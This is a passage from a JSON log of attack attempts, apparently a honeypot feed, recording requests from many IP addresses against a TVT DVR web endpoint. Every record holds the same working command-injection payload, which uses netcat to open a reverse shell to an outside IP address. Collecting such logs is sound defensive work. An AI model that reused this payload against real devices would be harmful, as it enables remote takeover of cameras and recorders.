  5498.       "source_ip_address": "187.131.123.210",
  5499.       "country": "MX",
  5500.       "user_agent": "Help",
  5501.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  5502.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  5503.       "target_port": 8080,
  5504.       "protocol": "tcp",
  5505.       "tags": [
  5506.         {
  5507.           "cve": "",
  5508.           "category": "IoT",
  5509.           "description": "TVT (Generic OEM) DVR RCE"
  5510.         }
  5511.       ],
  5512.       "event_count": 1,
  5513.       "first_seen": "2019-12-21T10:34:33Z",
  5514.       "last_seen": "2019-12-21T10:34:33Z"
  5515.     },
  5516.     {
  5517.       "source_ip_address": "220.135.161.28",
  5518.       "country": "TW",
  5519.       "user_agent": "Help",
  5520.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  5521.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  5522.       "target_port": 81,
  5523.       "protocol": "tcp",
  5524.       "tags": [
  5525.         {
  5526.           "cve": "",
  5527.           "category": "IoT",
  5528.           "description": "TVT (Generic OEM) DVR RCE"
  5529.         }
  5530.       ],
  5531.       "event_count": 1,
  5532.       "first_seen": "2019-12-21T10:27:50Z",
  5533.       "last_seen": "2019-12-21T10:27:50Z"
  5534.     },
  5535.     {
  5536.       "source_ip_address": "178.129.223.44",
  5537.       "country": "RU",
  5538.       "user_agent": "Help",
  5539.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  5540.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  5541.       "target_port": 8000,
  5542.       "protocol": "tcp",
  5543.       "tags": [
  5544.         {
  5545.           "cve": "",
  5546.           "category": "IoT",
  5547.           "description": "TVT (Generic OEM) DVR RCE"
  5548.         }
  5549.       ],
  5550.       "event_count": 11,
  5551.       "first_seen": "2019-12-21T10:26:39Z",
  5552.       "last_seen": "2019-12-21T10:26:39Z"
  5553.     },
  5554.     {
  5555.       "source_ip_address": "202.186.145.45",
  5556.       "country": "MY",
  5557.       "user_agent": "Help",
  5558.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  5559.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  5560.       "target_port": 8000,
  5561.       "protocol": "tcp",
  5562.       "tags": [
  5563.         {
  5564.           "cve": "",
  5565.           "category": "IoT",
  5566.           "description": "TVT (Generic OEM) DVR RCE"
  5567.         }
  5568.       ],
  5569.       "event_count": 5,
  5570.       "first_seen": "2019-12-21T10:09:11Z",
  5571.       "last_seen": "2019-12-21T10:09:11Z"
  5572.     },
  5573.     {
  5574.       "source_ip_address": "220.134.157.241",
  5575.       "country": "TW",
  5576.       "user_agent": "Help",
  5577.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  5578.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  5579.       "target_port": 88,
  5580.       "protocol": "tcp",
  5581.       "tags": [
  5582.         {
  5583.           "cve": "",
  5584.           "category": "IoT",
  5585.           "description": "TVT (Generic OEM) DVR RCE"
  5586.         }
  5587.       ],
  5588.       "event_count": 356,
  5589.       "first_seen": "2019-12-19T10:56:36Z",
  5590.       "last_seen": "2019-12-21T10:08:48Z"
  5591.     },
  5592.     {
  5593.       "source_ip_address": "220.134.196.223",
  5594.       "country": "TW",
  5595.       "user_agent": "Help",
  5596.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  5597.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  5598.       "target_port": 80,
  5599.       "protocol": "tcp",
  5600.       "tags": [
  5601.         {
  5602.           "cve": "",
  5603.           "category": "IoT",
  5604.           "description": "TVT (Generic OEM) DVR RCE"
  5605.         }
  5606.       ],
  5607.       "event_count": 1,
  5608.       "first_seen": "2019-12-21T10:02:38Z",
  5609.       "last_seen": "2019-12-21T10:02:38Z"
  5610.     },
  5611.     {
  5612.       "source_ip_address": "188.24.16.4",
  5613.       "country": "RO",
  5614.       "user_agent": "Help",
  5615.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  5616.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  5617.       "target_port": 81,
  5618.       "protocol": "tcp",
  5619.       "tags": [
  5620.         {
  5621.           "cve": "",
  5622.           "category": "IoT",
  5623.           "description": "TVT (Generic OEM) DVR RCE"
  5624.         }
  5625.       ],
  5626.       "event_count": 1,
  5627.       "first_seen": "2019-12-21T09:53:34Z",
  5628.       "last_seen": "2019-12-21T09:53:34Z"
  5629.     },
  5630.     {
  5631.       "source_ip_address": "95.123.27.193",
  5632.       "country": "ES",
  5633.       "user_agent": "Help",
  5634.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  5635.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  5636.       "target_port": 8000,
  5637.       "protocol": "tcp",
  5638.       "tags": [
  5639.         {
  5640.           "cve": "",
  5641.           "category": "IoT",
  5642.           "description": "TVT (Generic OEM) DVR RCE"
  5643.         }
  5644.       ],
  5645.       "event_count": 11,
  5646.       "first_seen": "2019-12-21T09:29:24Z",
  5647.       "last_seen": "2019-12-21T09:29:24Z"
  5648.     },
  5649.     {
  5650.       "source_ip_address": "189.190.95.157",
  5651.       "country": "MX",
  5652.       "user_agent": "Help",
  5653.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  5654.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  5655.       "target_port": 8080,
  5656.       "protocol": "tcp",
  5657.       "tags": [
  5658.         {
  5659.           "cve": "",
  5660.           "category": "IoT",
  5661.           "description": "TVT (Generic OEM) DVR RCE"
  5662.         }
  5663.       ],
  5664.       "event_count": 1,
  5665.       "first_seen": "2019-12-21T09:13:32Z",
  5666.       "last_seen": "2019-12-21T09:13:32Z"
  5667.     },
  5668.     {
  5669.       "source_ip_address": "81.213.166.44",
  5670.       "country": "TR",
  5671.       "user_agent": "Help",
  5672.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  5673.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  5674.       "target_port": 88,
  5675.       "protocol": "tcp",
  5676.       "tags": [
  5677.         {
  5678.           "cve": "",
  5679.           "category": "IoT",
  5680.           "description": "TVT (Generic OEM) DVR RCE"
  5681.         }
  5682.       ],
  5683.       "event_count": 1,
  5684.       "first_seen": "2019-12-21T09:00:30Z",
  5685.       "last_seen": "2019-12-21T09:00:30Z"
  5686.     },
  5687.     {
  5688.       "source_ip_address": "142.167.191.239",
  5689.       "country": "CA",
  5690.       "user_agent": "Help",
  5691.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  5692.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  5693.       "target_port": 8000,
  5694.       "protocol": "tcp",
  5695.       "tags": [
  5696.         {
  5697.           "cve": "",
  5698.           "category": "IoT",
  5699.           "description": "TVT (Generic OEM) DVR RCE"
  5700.         }
  5701.       ],
  5702.       "event_count": 1,
  5703.       "first_seen": "2019-12-21T08:54:27Z",
  5704.       "last_seen": "2019-12-21T08:54:27Z"
  5705.     },
  5706.     {
  5707.       "source_ip_address": "74.101.32.128",
  5708.       "country": "US",
  5709.       "user_agent": "Help",
  5710.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  5711.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  5712.       "target_port": 81,
  5713.       "protocol": "tcp",
  5714.       "tags": [
  5715.         {
  5716.           "cve": "",
  5717.           "category": "IoT",
  5718.           "description": "TVT (Generic OEM) DVR RCE"
  5719.         }
  5720.       ],
  5721.       "event_count": 1,
  5722.       "first_seen": "2019-12-21T08:54:17Z",
  5723.       "last_seen": "2019-12-21T08:54:17Z"
  5724.     },
  5725.     {
  5726.       "source_ip_address": "186.4.184.104",
  5727.       "country": "EC",
  5728.       "user_agent": "Help",
  5729.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  5730.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  5731.       "target_port": 8000,
  5732.       "protocol": "tcp",
  5733.       "tags": [
  5734.         {
  5735.           "cve": "",
  5736.           "category": "IoT",
  5737.           "description": "TVT (Generic OEM) DVR RCE"
  5738.         }
  5739.       ],
  5740.       "event_count": 1,
  5741.       "first_seen": "2019-12-21T08:43:28Z",
  5742.       "last_seen": "2019-12-21T08:43:28Z"
  5743.     },
  5744.     {
  5745.       "source_ip_address": "93.139.184.115",
  5746.       "country": "HR",
  5747.       "user_agent": "Help",
  5748.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  5749.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  5750.       "target_port": 88,
  5751.       "protocol": "tcp",
  5752.       "tags": [
  5753.         {
  5754.           "cve": "",
  5755.           "category": "IoT",
  5756.           "description": "TVT (Generic OEM) DVR RCE"
  5757.         }
  5758.       ],
  5759.       "event_count": 1,
  5760.       "first_seen": "2019-12-21T08:38:58Z",
  5761.       "last_seen": "2019-12-21T08:38:58Z"
  5762.     },
  5763.     {
  5764.       "source_ip_address": "31.45.242.224",
  5765.       "country": "HR",
  5766.       "user_agent": "Help",
  5767.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  5768.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  5769.       "target_port": 8000,
  5770.       "protocol": "tcp",
  5771.       "tags": [
  5772.         {
  5773.           "cve": "",
  5774.           "category": "IoT",
  5775.           "description": "TVT (Generic OEM) DVR RCE"
  5776.         }
  5777.       ],
  5778.       "event_count": 2,
  5779.       "first_seen": "2019-12-21T08:37:49Z",
  5780.       "last_seen": "2019-12-21T08:37:49Z"
  5781.     },
  5782.     {
  5783.       "source_ip_address": "61.63.176.139",
  5784.       "country": "TW",
  5785.       "user_agent": "Help",
  5786.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  5787.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  5788.       "target_port": 81,
  5789.       "protocol": "tcp",
  5790.       "tags": [
  5791.         {
  5792.           "cve": "",
  5793.           "category": "IoT",
  5794.           "description": "TVT (Generic OEM) DVR RCE"
  5795.         }
  5796.       ],
  5797.       "event_count": 1,
  5798.       "first_seen": "2019-12-21T08:32:23Z",
  5799.       "last_seen": "2019-12-21T08:32:23Z"
  5800.     },
  5801.     {
  5802.       "source_ip_address": "124.44.2.169",
  5803.       "country": "JP",
  5804.       "user_agent": "Help",
  5805.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  5806.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  5807.       "target_port": 81,
  5808.       "protocol": "tcp",
  5809.       "tags": [
  5810.         {
  5811.           "cve": "",
  5812.           "category": "IoT",
  5813.           "description": "TVT (Generic OEM) DVR RCE"
  5814.         }
  5815.       ],
  5816.       "event_count": 95,
  5817.       "first_seen": "2019-12-21T08:23:09Z",
  5818.       "last_seen": "2019-12-21T08:23:09Z"
  5819.     },
  5820.     {
  5821.       "source_ip_address": "93.43.224.178",
  5822.       "country": "IT",
  5823.       "user_agent": "Help",
  5824.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  5825.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  5826.       "target_port": 8080,
  5827.       "protocol": "tcp",
  5828.       "tags": [
  5829.         {
  5830.           "cve": "",
  5831.           "category": "IoT",
  5832.           "description": "TVT (Generic OEM) DVR RCE"
  5833.         }
  5834.       ],
  5835.       "event_count": 11,
  5836.       "first_seen": "2019-12-21T08:01:45Z",
  5837.       "last_seen": "2019-12-21T08:01:45Z"
  5838.     },
  5839.     {
  5840.       "source_ip_address": "107.5.49.137",
  5841.       "country": "US",
  5842.       "user_agent": "Help",
  5843.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  5844.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  5845.       "target_port": 8000,
  5846.       "protocol": "tcp",
  5847.       "tags": [
  5848.         {
  5849.           "cve": "",
  5850.           "category": "IoT",
  5851.           "description": "TVT (Generic OEM) DVR RCE"
  5852.         }
  5853.       ],
  5854.       "event_count": 1,
  5855.       "first_seen": "2019-12-21T07:59:36Z",
  5856.       "last_seen": "2019-12-21T07:59:36Z"
  5857.     },
  5858.     {
  5859.       "source_ip_address": "70.154.89.154",
  5860.       "country": "US",
  5861.       "user_agent": "Help",
  5862.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  5863.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  5864.       "target_port": 88,
  5865.       "protocol": "tcp",
  5866.       "tags": [
  5867.         {
  5868.           "cve": "",
  5869.           "category": "IoT",
  5870.           "description": "TVT (Generic OEM) DVR RCE"
  5871.         }
  5872.       ],
  5873.       "event_count": 1,
  5874.       "first_seen": "2019-12-21T07:48:54Z",
  5875.       "last_seen": "2019-12-21T07:48:54Z"
  5876.     },
  5877.     {
  5878.       "source_ip_address": "185.188.236.229",
  5879.       "country": "SK",
  5880.       "user_agent": "Help",
  5881.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  5882.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  5883.       "target_port": 81,
  5884.       "protocol": "tcp",
  5885.       "tags": [
  5886.         {
  5887.           "cve": "",
  5888.           "category": "IoT",
  5889.           "description": "TVT (Generic OEM) DVR RCE"
  5890.         }
  5891.       ],
  5892.       "event_count": 7,
  5893.       "first_seen": "2019-12-20T10:31:11Z",
  5894.       "last_seen": "2019-12-21T07:47:26Z"
  5895.     },
  5896.     {
  5897.       "source_ip_address": "103.224.200.9",
  5898.       "country": "TW",
  5899.       "user_agent": "Help",
  5900.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  5901.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  5902.       "target_port": 81,
  5903.       "protocol": "tcp",
  5904.       "tags": [
  5905.         {
  5906.           "cve": "",
  5907.           "category": "IoT",
  5908.           "description": "TVT (Generic OEM) DVR RCE"
  5909.         }
  5910.       ],
  5911.       "event_count": 2,
  5912.       "first_seen": "2019-12-21T07:46:13Z",
  5913.       "last_seen": "2019-12-21T07:46:13Z"
  5914.     },
  5915.     {
  5916.       "source_ip_address": "98.239.24.188",
  5917.       "country": "US",
  5918.       "user_agent": "Help",
  5919.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  5920.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  5921.       "target_port": 88,
  5922.       "protocol": "tcp",
  5923.       "tags": [
  5924.         {
  5925.           "cve": "",
  5926.           "category": "IoT",
  5927.           "description": "TVT (Generic OEM) DVR RCE"
  5928.         }
  5929.       ],
  5930.       "event_count": 1,
  5931.       "first_seen": "2019-12-21T07:36:51Z",
  5932.       "last_seen": "2019-12-21T07:36:51Z"
  5933.     },
  5934.     {
  5935.       "source_ip_address": "78.139.27.208",
  5936.       "country": "HU",
  5937.       "user_agent": "Help",
  5938.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  5939.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  5940.       "target_port": 80,
  5941.       "protocol": "tcp",
  5942.       "tags": [
  5943.         {
  5944.           "cve": "",
  5945.           "category": "IoT",
  5946.           "description": "TVT (Generic OEM) DVR RCE"
  5947.         }
  5948.       ],
  5949.       "event_count": 5,
  5950.       "first_seen": "2019-12-21T07:21:42Z",
  5951.       "last_seen": "2019-12-21T07:21:42Z"
  5952.     },
  5953.     {
